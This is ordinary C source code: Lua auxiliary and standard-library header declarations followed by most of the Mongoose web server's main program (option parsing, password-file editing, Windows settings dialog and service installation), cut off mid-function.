#define luaL_checklong(L,n) ((long)luaL_checkinteger(L, (n)))
#define luaL_optlong(L,n,d) ((long)luaL_optinteger(L, (n), (d)))
#define luaL_typename(L,i) lua_typename(L, lua_type(L,(i)))
#define luaL_dofile(L, fn) \
(luaL_loadfile(L, fn) || lua_pcall(L, 0, LUA_MULTRET, 0))
#define luaL_dostring(L, s) \
(luaL_loadstring(L, s) || lua_pcall(L, 0, LUA_MULTRET, 0))
#define luaL_getmetatable(L,n) (lua_getfield(L, LUA_REGISTRYINDEX, (n)))
#define luaL_opt(L,f,n,d) (lua_isnoneornil(L,(n)) ? (d) : f(L,(n)))
#define luaL_loadbuffer(L,s,sz,n) luaL_loadbufferx(L,s,sz,n,NULL)
/*
** {======================================================
** Generic Buffer manipulation
** =======================================================
*/
typedef struct luaL_Buffer {
char *b; /* buffer address */
size_t size; /* buffer size */
size_t n; /* number of characters in buffer */
lua_State *L;
char initb[LUAL_BUFFERSIZE]; /* initial buffer */
} luaL_Buffer;
#define luaL_addchar(B,c) \
((void)((B)->n < (B)->size || luaL_prepbuffsize((B), 1)), \
((B)->b[(B)->n++] = (c)))
#define luaL_addsize(B,s) ((B)->n += (s))
LUALIB_API void (luaL_buffinit) (lua_State *L, luaL_Buffer *B);
LUALIB_API char *(luaL_prepbuffsize) (luaL_Buffer *B, size_t sz);
LUALIB_API void (luaL_addlstring) (luaL_Buffer *B, const char *s, size_t l);
LUALIB_API void (luaL_addstring) (luaL_Buffer *B, const char *s);
LUALIB_API void (luaL_addvalue) (luaL_Buffer *B);
LUALIB_API void (luaL_pushresult) (luaL_Buffer *B);
LUALIB_API void (luaL_pushresultsize) (luaL_Buffer *B, size_t sz);
LUALIB_API char *(luaL_buffinitsize) (lua_State *L, luaL_Buffer *B, size_t sz);
#define luaL_prepbuffer(B) luaL_prepbuffsize(B, LUAL_BUFFERSIZE)
/* }====================================================== */
/*
** {======================================================
** File handles for IO library
** =======================================================
*/
/*
** A file handle is a userdata with metatable 'LUA_FILEHANDLE' and
** initial structure 'luaL_Stream' (it may contain other fields
** after that initial structure).
*/
#define LUA_FILEHANDLE "FILE*"
typedef struct luaL_Stream {
FILE *f; /* stream (NULL for incompletely created streams) */
lua_CFunction closef; /* to close stream (NULL for closed streams) */
} luaL_Stream;
/* }====================================================== */
/* compatibility with old module system */
#if defined(LUA_COMPAT_MODULE)
LUALIB_API void (luaL_pushmodule) (lua_State *L, const char *modname,
int sizehint);
LUALIB_API void (luaL_openlib) (lua_State *L, const char *libname,
const luaL_Reg *l, int nup);
#define luaL_register(L,n,l) (luaL_openlib(L,(n),(l),0))
#endif
#endif
/*
** $Id: lualib.h,v 1.43 2011/12/08 12:11:37 roberto Exp $
** Lua standard libraries
** See Copyright Notice in lua.h
*/
#ifndef lualib_h
#define lualib_h
LUAMOD_API int (luaopen_base) (lua_State *L);
#define LUA_COLIBNAME "coroutine"
LUAMOD_API int (luaopen_coroutine) (lua_State *L);
#define LUA_TABLIBNAME "table"
LUAMOD_API int (luaopen_table) (lua_State *L);
#define LUA_IOLIBNAME "io"
LUAMOD_API int (luaopen_io) (lua_State *L);
#define LUA_OSLIBNAME "os"
LUAMOD_API int (luaopen_os) (lua_State *L);
#define LUA_STRLIBNAME "string"
LUAMOD_API int (luaopen_string) (lua_State *L);
#define LUA_BITLIBNAME "bit32"
LUAMOD_API int (luaopen_bit32) (lua_State *L);
#define LUA_MATHLIBNAME "math"
LUAMOD_API int (luaopen_math) (lua_State *L);
#define LUA_DBLIBNAME "debug"
LUAMOD_API int (luaopen_debug) (lua_State *L);
#define LUA_LOADLIBNAME "package"
LUAMOD_API int (luaopen_package) (lua_State *L);
/* open all previous libraries */
LUALIB_API void (luaL_openlibs) (lua_State *L);
#if !defined(lua_assert)
#define lua_assert(x) ((void)0)
#endif
#endif
// Copyright (c) 2004-2013 Sergey Lyubka
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
#undef UNICODE // Use ANSI WinAPI functions
#undef _UNICODE // Use multibyte encoding on Windows
#define _MBCS // Use multibyte encoding on Windows
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
#define _XOPEN_SOURCE 600 // For PATH_MAX on linux
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <limits.h>
#include <stddef.h>
#include <stdarg.h>
#include <ctype.h>
#include "mongoose.h"
#ifdef _WIN32
#include <windows.h>
#include <direct.h> // For chdir()
#include <winsvc.h>
#include <shlobj.h>
#ifndef PATH_MAX
#define PATH_MAX MAX_PATH
#endif
#ifndef S_ISDIR
#define S_ISDIR(x) ((x) & _S_IFDIR)
#endif
#define DIRSEP '\\'
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#define sleep(x) Sleep((x) * 1000)
#define abs_path(rel, abs, abs_size) _fullpath((abs), (rel), (abs_size))
#define SIGCHLD 0
typedef struct _stat file_stat_t;
#define stat(x, y) my_stat((x), (y))
#else
typedef struct stat file_stat_t;
#include <sys/wait.h>
#include <unistd.h>
#define DIRSEP '/'
#define __cdecl
#define abs_path(rel, abs, abs_size) realpath((rel), (abs))
#endif // _WIN32
#define MAX_OPTIONS 100
#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
static int exit_flag;
static char server_name[40]; // Set by init_server_name()
static char config_file[PATH_MAX]; // Set by process_command_line_arguments()
static struct mg_server *server; // Set by start_mongoose()
static const char static_user_name[64] = "#__u__#";
static const char static_user_email[64] = "#__e__#";
#if !defined(CONFIG_FILE)
#define CONFIG_FILE "mongoose.conf"
#endif /* !CONFIG_FILE */
static void __cdecl signal_handler(int sig_num) {
// Reinstantiate signal handler
signal(sig_num, signal_handler);
#if !defined(_WIN32)
// Do not do the trick with ignoring SIGCHLD, cause not all OSes (e.g. QNX)
// reap zombies if SIGCHLD is ignored. On QNX, for example, waitpid()
// fails if SIGCHLD is ignored, making system() non-functional.
if (sig_num == SIGCHLD) {
do {} while (waitpid(-1, &sig_num, WNOHANG) > 0);
} else
#endif
{ exit_flag = sig_num; }
}
#ifdef NO_GUI
#undef _WIN32
#endif
static void die(const char *fmt, ...) {
va_list ap;
char msg[200];
va_start(ap, fmt);
vsnprintf(msg, sizeof(msg), fmt, ap);
va_end(ap);
#if defined(_WIN32)
MessageBox(NULL, msg, "Error", MB_OK);
#else
fprintf(stderr, "%s\n", msg);
#endif
exit(EXIT_FAILURE);
}
static void show_usage_and_exit(void) {
const char **names;
int i;
fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built on %s\n",
MONGOOSE_VERSION, __DATE__);
fprintf(stderr, "Usage:\n");
#ifndef NO_AUTH
fprintf(stderr, " mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
#endif
fprintf(stderr, " mongoose [config_file]\n");
fprintf(stderr, " mongoose [-option value ...]\n");
fprintf(stderr, "\nOPTIONS:\n");
names = mg_get_valid_option_names();
for (i = 0; names[i] != NULL; i += 2) {
fprintf(stderr, " -%s %s\n",
names[i], names[i + 1] == NULL ? "<empty>" : names[i + 1]);
}
exit(EXIT_FAILURE);
}
#if defined(_WIN32) || defined(USE_COCOA)
static const char *config_file_top_comment =
"# Mongoose web server configuration file.\n"
"# For detailed description of every option, visit\n"
"# https://github.com/cesanta/mongoose\n"
"# Lines starting with '#' and empty lines are ignored.\n"
"# To make a change, remove leading '#', modify option's value,\n"
"# save this file and then restart Mongoose.\n\n";
static const char *get_url_to_me(const struct mg_server *server) {
static char url[100];
const char *s = mg_get_option(server, "listening_port");
const char *cert = mg_get_option(server, "ssl_certificate");
snprintf(url, sizeof(url), "%s://%s%s",
cert != NULL && cert[0] != '\0' ? "https" : "http",
s == NULL || strchr(s, ':') == NULL ? "127.0.0.1:" : "", s);
return url;
}
static void create_config_file(const char *path) {
const char **names, *value;
FILE *fp;
int i;
// Create config file if it is not present yet
if ((fp = fopen(path, "r")) != NULL) {
fclose(fp);
} else if ((fp = fopen(path, "a+")) != NULL) {
fprintf(fp, "%s", config_file_top_comment);
names = mg_get_valid_option_names();
for (i = 0; names[i * 2] != NULL; i++) {
value = mg_get_option(server, names[i * 2]);
fprintf(fp, "# %s %s\n", names[i * 2], value ? value : "<value>");
}
fclose(fp);
}
}
#endif
static char *sdup(const char *str) {
char *p;
if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
strcpy(p, str);
}
return p;
}
static void set_option(char **options, const char *name, const char *value) {
int i;
for (i = 0; i < MAX_OPTIONS - 3; i++) {
if (options[i] == NULL) {
options[i] = sdup(name);
options[i + 1] = sdup(value);
options[i + 2] = NULL;
break;
} else if (!strcmp(options[i], name)) {
free(options[i + 1]);
options[i + 1] = sdup(value);
break;
}
}
if (i == MAX_OPTIONS - 3) {
die("%s", "Too many options specified");
}
}
#ifdef WIN32
static int my_argc;
static char **my_argv;
static void to_utf8(wchar_t *src, char *dst, size_t dst_len) {
WideCharToMultiByte(CP_UTF8, 0, src, -1, dst, dst_len, 0, 0);
}
static void to_wchar(const char *src, wchar_t *dst, size_t dst_len) {
MultiByteToWideChar(CP_UTF8, 0, src, -1, dst, dst_len);
}
static void init_utf8_argc_argv(void) {
wchar_t **wargv = CommandLineToArgvW(GetCommandLineW(), &my_argc);
if (wargv != NULL) {
char buf[1024 * 8];
int i;
// TODO(lsm): free that at some point.
my_argv = calloc(my_argc + 1, sizeof(my_argv[0]));
for (i = 0; i < my_argc; i++) {
to_utf8(wargv[i], buf, sizeof(buf));
my_argv[i] = strdup(buf);
}
LocalFree(wargv);
}
}
#endif
static void process_command_line_arguments(char *argv[], char **options) {
char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
FILE *fp = NULL;
size_t i, cmd_line_opts_start = 1, line_no = 0;
// Should we use a config file ?
if (argv[1] != NULL && argv[1][0] != '-') {
snprintf(config_file, sizeof(config_file), "%s", argv[1]);
cmd_line_opts_start = 2;
} else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
// No command line flags specified. Look where binary lives
snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
} else {
snprintf(config_file, sizeof(config_file), "%.*s%c%s",
(int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
}
#ifdef WIN32
{
wchar_t path[PATH_MAX];
to_wchar(config_file, path, sizeof(path) / sizeof(path[0]));
fp = _wfopen(path, L"r");
}
#else
fp = fopen(config_file, "r");
#endif
// If config file was set in command line and open failed, die
if (cmd_line_opts_start == 2 && fp == NULL) {
die("Cannot open config file %s: %s", config_file, strerror(errno));
}
// Load config file settings first
if (fp != NULL) {
fprintf(stderr, "Loading config file %s\n", config_file);
// Loop over the lines in config file
while (fgets(line, sizeof(line), fp) != NULL) {
line_no++;
// Ignore empty lines and comments
for (i = 0; isspace(* (unsigned char *) &line[i]); ) i++;
if (line[i] == '#' || line[i] == '\0') {
continue;
}
if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
printf("%s: line %d is invalid, ignoring it:\n %s",
config_file, (int) line_no, line);
} else {
set_option(options, opt, val);
}
}
fclose(fp);
}
// If we're under MacOS and started by launchd, then the second
// argument is process serial number, -psn_.....
// In this case, don't process arguments at all.
if (argv[1] == NULL || memcmp(argv[1], "-psn_", 5) != 0) {
// Handle command line flags.
// They override config file and default settings.
for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
if (argv[i][0] != '-' || argv[i + 1] == NULL) {
show_usage_and_exit();
}
set_option(options, &argv[i][1], argv[i + 1]);
}
}
}
static void init_server_name(void) {
snprintf(server_name, sizeof(server_name), "Mongoose web server v.%s",
MONGOOSE_VERSION);
}
static int is_path_absolute(const char *path) {
#ifdef WIN32
return path != NULL &&
((path[0] == '\\' && path[1] == '\\') || // UNC path, e.g. \\server\dir
(isalpha(path[0]) && path[1] == ':' && path[2] == '\\')); // E.g. X:\dir
#else
return path != NULL && path[0] == '/';
#endif
}
static char *get_option(char **options, const char *option_name) {
int i;
for (i = 0; options[i] != NULL; i++)
if (!strcmp(options[i], option_name))
return options[i + 1];
return NULL;
}
#ifdef WIN32 // _WIN32 can be undefined if -DNO_GUI is used
static int my_stat(const char *path, file_stat_t *st) {
wchar_t buf[PATH_MAX];
MultiByteToWideChar(CP_UTF8, 0, path, -1, buf, sizeof(buf) / sizeof(buf[0]));
return _wstat(buf, st);
}
#endif
static void verify_existence(char **options, const char *option_name,
int must_be_dir) {
file_stat_t st;
const char *path = get_option(options, option_name);
if (path != NULL && (stat(path, &st) != 0 ||
((S_ISDIR(st.st_mode) ? 1 : 0) != must_be_dir))) {
die("Invalid path for %s: [%s]: (%s). Make sure that path is either "
"absolute, or it is relative to mongoose executable.",
option_name, path, strerror(errno));
}
}
static void set_absolute_path(char *options[], const char *option_name,
const char *path_to_mongoose_exe) {
char path[PATH_MAX], abs[PATH_MAX], *option_value;
const char *p;
// Check whether option is already set
option_value = get_option(options, option_name);
// If option is already set and it is an absolute path,
// leave it as it is -- it's already absolute.
if (option_value != NULL && !is_path_absolute(option_value)) {
// Not absolute. Use the directory where mongoose executable lives
// be the relative directory for everything.
// Extract mongoose executable directory into path.
if ((p = strrchr(path_to_mongoose_exe, DIRSEP)) == NULL) {
#ifdef WIN32
wchar_t buf[PATH_MAX];
GetCurrentDirectoryW(sizeof(buf) / sizeof(buf[0]), buf);
to_utf8(buf, path, sizeof(path));
#else
getcwd(path, sizeof(path));
#endif
} else {
snprintf(path, sizeof(path), "%.*s", (int) (p - path_to_mongoose_exe),
path_to_mongoose_exe);
}
strncat(path, "/", sizeof(path) - 1);
strncat(path, option_value, sizeof(path) - 1);
// Absolutize the path, and set the option
abs_path(path, abs, sizeof(abs));
set_option(options, option_name, abs);
}
}
#ifndef NO_AUTH
int modify_passwords_file(const char *fname, const char *domain,
const char *user, const char *pass) {
int found;
char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
FILE *fp, *fp2;
found = 0;
fp = fp2 = NULL;
// Regard empty password as no password - remove user record.
if (pass != NULL && pass[0] == '\0') {
pass = NULL;
}
(void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
// Create the file if does not exist
if ((fp = fopen(fname, "a+")) != NULL) {
fclose(fp);
}
// Open the given file and temporary file
if ((fp = fopen(fname, "r")) == NULL) {
return 0;
} else if ((fp2 = fopen(tmp, "w+")) == NULL) {
fclose(fp);
return 0;
}
// Copy the stuff to temporary file
while (fgets(line, sizeof(line), fp) != NULL) {
if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
continue;
}
if (!strcmp(u, user) && !strcmp(d, domain)) {
found++;
if (pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
} else {
fprintf(fp2, "%s", line);
}
}
// If new user, just add it
if (!found && pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
// Close files
fclose(fp);
fclose(fp2);
// Put the temp file in place of real file
remove(fname);
rename(tmp, fname);
return 1;
}
#endif
static void start_mongoose(int argc, char *argv[]) {
char *options[MAX_OPTIONS];
int i;
if ((server = mg_create_server(NULL)) == NULL) {
die("%s", "Failed to start Mongoose.");
}
#ifndef NO_AUTH
// Edit passwords file if -A option is specified
if (argc > 1 && !strcmp(argv[1], "-A")) {
if (argc != 6) {
show_usage_and_exit();
}
exit(modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
EXIT_SUCCESS : EXIT_FAILURE);
}
#endif
// Show usage if -h or --help options are specified
if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
show_usage_and_exit();
}
options[0] = NULL;
set_option(options, "document_root", ".");
set_option(options, "listening_port", "8080");
// Update config based on command line arguments
process_command_line_arguments(argv, options);
// Make sure we have absolute paths for files and directories
// https://github.com/valenok/mongoose/issues/181
set_absolute_path(options, "document_root", argv[0]);
set_absolute_path(options, "put_delete_auth_file", argv[0]);
set_absolute_path(options, "cgi_interpreter", argv[0]);
set_absolute_path(options, "access_log_file", argv[0]);
set_absolute_path(options, "error_log_file", argv[0]);
set_absolute_path(options, "global_auth_file", argv[0]);
set_absolute_path(options, "ssl_certificate", argv[0]);
// Make extra verification for certain options
verify_existence(options, "document_root", 1);
verify_existence(options, "cgi_interpreter", 0);
verify_existence(options, "ssl_certificate", 0);
for (i = 0; options[i] != NULL; i += 2) {
const char *msg = mg_set_option(server, options[i], options[i + 1]);
if (msg != NULL) die("Failed to set option [%s]: %s", options[i], msg);
free(options[i]);
free(options[i + 1]);
}
// Change current working directory to document root. This way,
// scripts can use relative paths.
chdir(mg_get_option(server, "document_root"));
// Add an ability to pass listening socket to mongoose
{
const char *env = getenv("MONGOOSE_LISTENING_SOCKET");
if (env != NULL && atoi(env) > 0 ) {
mg_set_listening_socket(server, atoi(env));
}
}
// Setup signal handler: quit on Ctrl-C
signal(SIGTERM, signal_handler);
signal(SIGINT, signal_handler);
#ifndef _WIN32
signal(SIGCHLD, signal_handler);
#endif
}
#if defined(_WIN32) || defined(USE_COCOA)
static void *serving_thread_func(void *param) {
struct mg_server *srv = (struct mg_server *) param;
while (exit_flag == 0) {
mg_poll_server(srv, 1000);
}
return NULL;
}
#endif
#ifdef _WIN32
enum {
ID_ICON = 100, ID_QUIT, ID_SETTINGS, ID_SEPARATOR, ID_INSTALL_SERVICE,
ID_REMOVE_SERVICE, ID_STATIC, ID_GROUP, ID_SAVE, ID_RESET_DEFAULTS,
ID_STATUS, ID_CONNECT,
// All dynamically created text boxes for options have IDs starting from
// ID_CONTROLS, incremented by one.
ID_CONTROLS = 200,
// Text boxes for files have "..." buttons to open file browser. These
// buttons have IDs that are ID_FILE_BUTTONS_DELTA higher than associated
// text box ID.
ID_FILE_BUTTONS_DELTA = 1000
};
static HICON hIcon;
static HANDLE hThread; // Serving thread
static SERVICE_STATUS ss;
static SERVICE_STATUS_HANDLE hStatus;
static const wchar_t *service_name = L"Mongoose";
static NOTIFYICONDATA TrayIcon;
static void WINAPI ControlHandler(DWORD code) {
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
ss.dwServiceType = SERVICE_WIN32;
ss.dwWin32ExitCode = NO_ERROR;
ss.dwCurrentState = SERVICE_RUNNING;
if (code == SERVICE_CONTROL_STOP || code == SERVICE_CONTROL_SHUTDOWN) {
ss.dwCurrentState = SERVICE_STOPPED;
}
SetServiceStatus(hStatus, &ss);
}
static void WINAPI ServiceMain(void) {
hStatus = RegisterServiceCtrlHandlerW(service_name, ControlHandler);
ControlHandler(SERVICE_CONTROL_INTERROGATE);
while (ss.dwCurrentState == SERVICE_RUNNING) {
Sleep(1000);
}
mg_destroy_server(&server);
}
static void show_error(void) {
char buf[256];
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
buf, sizeof(buf), NULL);
MessageBox(NULL, buf, "Error", MB_OK);
}
static void *align(void *ptr, DWORD alig) {
ULONG ul = (ULONG) ptr;
ul += alig;
ul &= ~alig;
return ((void *) ul);
}
static int is_boolean_option(const char *option_name) {
return !strcmp(option_name, "enable_directory_listing") ||
!strcmp(option_name, "enable_keep_alive");
}
static int is_filename_option(const char *option_name) {
return !strcmp(option_name, "cgi_interpreter") ||
!strcmp(option_name, "global_auth_file") ||
!strcmp(option_name, "dav_auth_file") ||
!strcmp(option_name, "access_log_file") ||
!strcmp(option_name, "error_log_file") ||
!strcmp(option_name, "ssl_certificate");
}
static int is_directory_option(const char *option_name) {
return !strcmp(option_name, "document_root");
}
static int is_numeric_options(const char *option_name) {
return !strcmp(option_name, "num_threads");
}
static void save_config(HWND hDlg, FILE *fp) {
char value[2000];
const char **options, *name, *default_value;
int i, id;
fprintf(fp, "%s", config_file_top_comment);
options = mg_get_valid_option_names();
for (i = 0; options[i * 2] != NULL; i++) {
name = options[i * 2];
id = ID_CONTROLS + i;
if (is_boolean_option(name)) {
snprintf(value, sizeof(value), "%s",
IsDlgButtonChecked(hDlg, id) ? "yes" : "no");
} else {
GetDlgItemText(hDlg, id, value, sizeof(value));
}
default_value = options[i * 2 + 1] == NULL ? "" : options[i * 2 + 1];
// If value is the same as default, skip it
if (strcmp(value, default_value) != 0) {
fprintf(fp, "%s %s\n", name, value);
}
}
}
static BOOL CALLBACK DlgProc(HWND hDlg, UINT msg, WPARAM wParam, LPARAM lP) {
FILE *fp;
int i;
const char *name, *value, **options = mg_get_valid_option_names();
switch (msg) {
case WM_CLOSE:
DestroyWindow(hDlg);
break;
case WM_COMMAND:
switch (LOWORD(wParam)) {
case ID_SAVE:
EnableWindow(GetDlgItem(hDlg, ID_SAVE), FALSE);
if ((fp = fopen(config_file, "w+")) != NULL) {
save_config(hDlg, fp);
fclose(fp);
TerminateThread(hThread, 0);
mg_destroy_server(&server);
start_mongoose(my_argc, my_argv);
mg_start_thread(serving_thread_func, server);
}
EnableWindow(GetDlgItem(hDlg, ID_SAVE), TRUE);
break;
case ID_RESET_DEFAULTS:
for (i = 0; options[i * 2] != NULL; i++) {
name = options[i * 2];
value = options[i * 2 + 1] == NULL ? "" : options[i * 2 + 1];
if (is_boolean_option(name)) {
CheckDlgButton(hDlg, ID_CONTROLS + i, !strcmp(value, "yes") ?
BST_CHECKED : BST_UNCHECKED);
} else {
SetWindowText(GetDlgItem(hDlg, ID_CONTROLS + i), value);
}
}
break;
}
for (i = 0; options[i * 2] != NULL; i++) {
name = options[i * 2];
if ((is_filename_option(name) || is_directory_option(name)) &&
LOWORD(wParam) == ID_CONTROLS + i + ID_FILE_BUTTONS_DELTA) {
OPENFILENAME of;
BROWSEINFO bi;
char path[PATH_MAX] = "";
memset(&of, 0, sizeof(of));
of.lStructSize = sizeof(of);
of.hwndOwner = (HWND) hDlg;
of.lpstrFile = path;
of.nMaxFile = sizeof(path);
of.lpstrInitialDir = mg_get_option(server, "document_root");
of.Flags = OFN_CREATEPROMPT | OFN_NOCHANGEDIR;
memset(&bi, 0, sizeof(bi));
bi.hwndOwner = (HWND) hDlg;
bi.lpszTitle = "Choose WWW root directory:";
bi.ulFlags = BIF_RETURNONLYFSDIRS;
if (is_directory_option(name)) {
SHGetPathFromIDList(SHBrowseForFolder(&bi), path);
} else {
GetOpenFileName(&of);
}
if (path[0] != '\0') {
SetWindowText(GetDlgItem(hDlg, ID_CONTROLS + i), path);
}
}
}
break;
case WM_INITDIALOG:
SendMessage(hDlg, WM_SETICON,(WPARAM) ICON_SMALL, (LPARAM) hIcon);
SendMessage(hDlg, WM_SETICON,(WPARAM) ICON_BIG, (LPARAM) hIcon);
SetWindowText(hDlg, "Mongoose settings");
SetFocus(GetDlgItem(hDlg, ID_SAVE));
for (i = 0; options[i * 2] != NULL; i++) {
name = options[i * 2];
value = mg_get_option(server, name);
if (is_boolean_option(name)) {
CheckDlgButton(hDlg, ID_CONTROLS + i, !strcmp(value, "yes") ?
BST_CHECKED : BST_UNCHECKED);
} else {
SetDlgItemText(hDlg, ID_CONTROLS + i, value == NULL ? "" : value);
}
}
break;
default:
break;
}
return FALSE;
}
static void add_control(unsigned char **mem, DLGTEMPLATE *dia, WORD type,
DWORD id, DWORD style, WORD x, WORD y,
WORD cx, WORD cy, const char *caption) {
DLGITEMTEMPLATE *tp;
LPWORD p;
dia->cdit++;
*mem = align(*mem, 3);
tp = (DLGITEMTEMPLATE *) *mem;
tp->id = (WORD)id;
tp->style = style;
tp->dwExtendedStyle = 0;
tp->x = x;
tp->y = y;
tp->cx = cx;
tp->cy = cy;
p = align(*mem + sizeof(*tp), 1);
*p++ = 0xffff;
*p++ = type;
while (*caption != '\0') {
*p++ = (WCHAR) *caption++;
}
*p++ = 0;
p = align(p, 1);
*p++ = 0;
*mem = (unsigned char *) p;
}
static void show_settings_dialog() {
#define HEIGHT 15
#define WIDTH 400
#define LABEL_WIDTH 80
unsigned char mem[4096], *p;
const char **option_names, *long_option_name;
DWORD style;
DLGTEMPLATE *dia = (DLGTEMPLATE *) mem;
WORD i, cl, x, y, width, nelems = 0;
static int guard;
static struct {
DLGTEMPLATE template; // 18 bytes
WORD menu, class;
wchar_t caption[1];
WORD fontsiz;
wchar_t fontface[7];
} dialog_header = {{WS_CAPTION | WS_POPUP | WS_SYSMENU | WS_VISIBLE |
DS_SETFONT | WS_DLGFRAME, WS_EX_TOOLWINDOW, 0, 200, 200, WIDTH, 0},
0, 0, L"", 8, L"Tahoma"};
if (guard == 0) {
guard++;
} else {
return;
}
(void) memset(mem, 0, sizeof(mem));
(void) memcpy(mem, &dialog_header, sizeof(dialog_header));
p = mem + sizeof(dialog_header);
option_names = mg_get_valid_option_names();
for (i = 0; option_names[i * 2] != NULL; i++) {
long_option_name = option_names[i * 2];
style = WS_CHILD | WS_VISIBLE | WS_TABSTOP;
x = 10 + (WIDTH / 2) * (nelems % 2);
y = (nelems/2 + 1) * HEIGHT + 5;
width = WIDTH / 2 - 20 - LABEL_WIDTH;
if (is_numeric_options(long_option_name)) {
style |= ES_NUMBER;
cl = 0x81;
style |= WS_BORDER | ES_AUTOHSCROLL;
} else if (is_boolean_option(long_option_name)) {
cl = 0x80;
style |= BS_AUTOCHECKBOX;
} else if (is_filename_option(long_option_name) ||
is_directory_option(long_option_name)) {
style |= WS_BORDER | ES_AUTOHSCROLL;
width -= 20;
cl = 0x81;
add_control(&p, dia, 0x80,
ID_CONTROLS + i + ID_FILE_BUTTONS_DELTA,
WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON,
(WORD) (x + width + LABEL_WIDTH + 5),
y, 15, 12, "...");
} else {
cl = 0x81;
style |= WS_BORDER | ES_AUTOHSCROLL;
}
add_control(&p, dia, 0x82, ID_STATIC, WS_VISIBLE | WS_CHILD,
x, y, LABEL_WIDTH, HEIGHT, long_option_name);
add_control(&p, dia, cl, ID_CONTROLS + i, style,
(WORD) (x + LABEL_WIDTH), y, width, 12, "");
nelems++;
}
y = (WORD) (((nelems + 1) / 2 + 1) * HEIGHT + 5);
add_control(&p, dia, 0x80, ID_GROUP, WS_CHILD | WS_VISIBLE |
BS_GROUPBOX, 5, 5, WIDTH - 10, y, " Settings ");
y += 10;
add_control(&p, dia, 0x80, ID_SAVE,
WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | WS_TABSTOP,
WIDTH - 70, y, 65, 12, "Save Settings");
add_control(&p, dia, 0x80, ID_RESET_DEFAULTS,
WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | WS_TABSTOP,
WIDTH - 140, y, 65, 12, "Reset to defaults");
add_control(&p, dia, 0x82, ID_STATIC,
WS_CHILD | WS_VISIBLE | WS_DISABLED,
5, y, 180, 12, static_user_name);
dia->cy = ((nelems + 1) / 2 + 1) * HEIGHT + 30;
DialogBoxIndirectParam(NULL, dia, NULL, DlgProc, (LPARAM) NULL);
guard--;
}
static int manage_service(int action) {
SC_HANDLE hSCM = NULL, hService = NULL;
SERVICE_DESCRIPTION descr = {server_name};
wchar_t wpath[PATH_MAX + 20]; // Path to executable plus magic argument
int success = 1;
if ((hSCM = OpenSCManager(NULL, NULL, action == ID_INSTALL_SERVICE ?
GENERIC_WRITE : GENERIC_READ)) == NULL) {
success = 0;
show_error();
} else if (action == ID_INSTALL_SERVICE) {
GetModuleFileNameW(NULL, wpath, sizeof(wpath) / sizeof(wpath[0]));
wcsncat(wpath, L" --", sizeof(wpath) / sizeof(wpath[0]));
hService = CreateServiceW(hSCM, service_name, service_name,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
wpath, NULL, NULL, NULL, NULL, NULL);
if (hService) {
ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &descr);
} else {
show_error();
}
} else if (action == ID_REMOVE_SERVICE) {
if ((hService = OpenServiceW(hSCM, service_name, DELETE)) == NULL ||
!DeleteService(hService)) {
show_error();
}
} else if ((hService = OpenServiceW(hSCM, service_name,
SERVICE_QUERY_STATUS)) == NULL) {
success = 0;
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCM);
return success;
}
static LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam,
LPARAM lParam) {
static SERVICE_TABLE_ENTRY service_table[] = {
{server_name, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};
int service_installed;
char buf[200], *service_argv[] = {NULL, NULL};
POINT pt;
HMENU hMenu;
static UINT s_uTaskbarRestart; // for taskbar creation
switch (msg) {
case WM_CREATE:
if (my_argv[1] != NULL && !strcmp(my_argv[1], "--")) {
service_argv[0] = my_argv[0];
start_mongoose(1, service_argv);
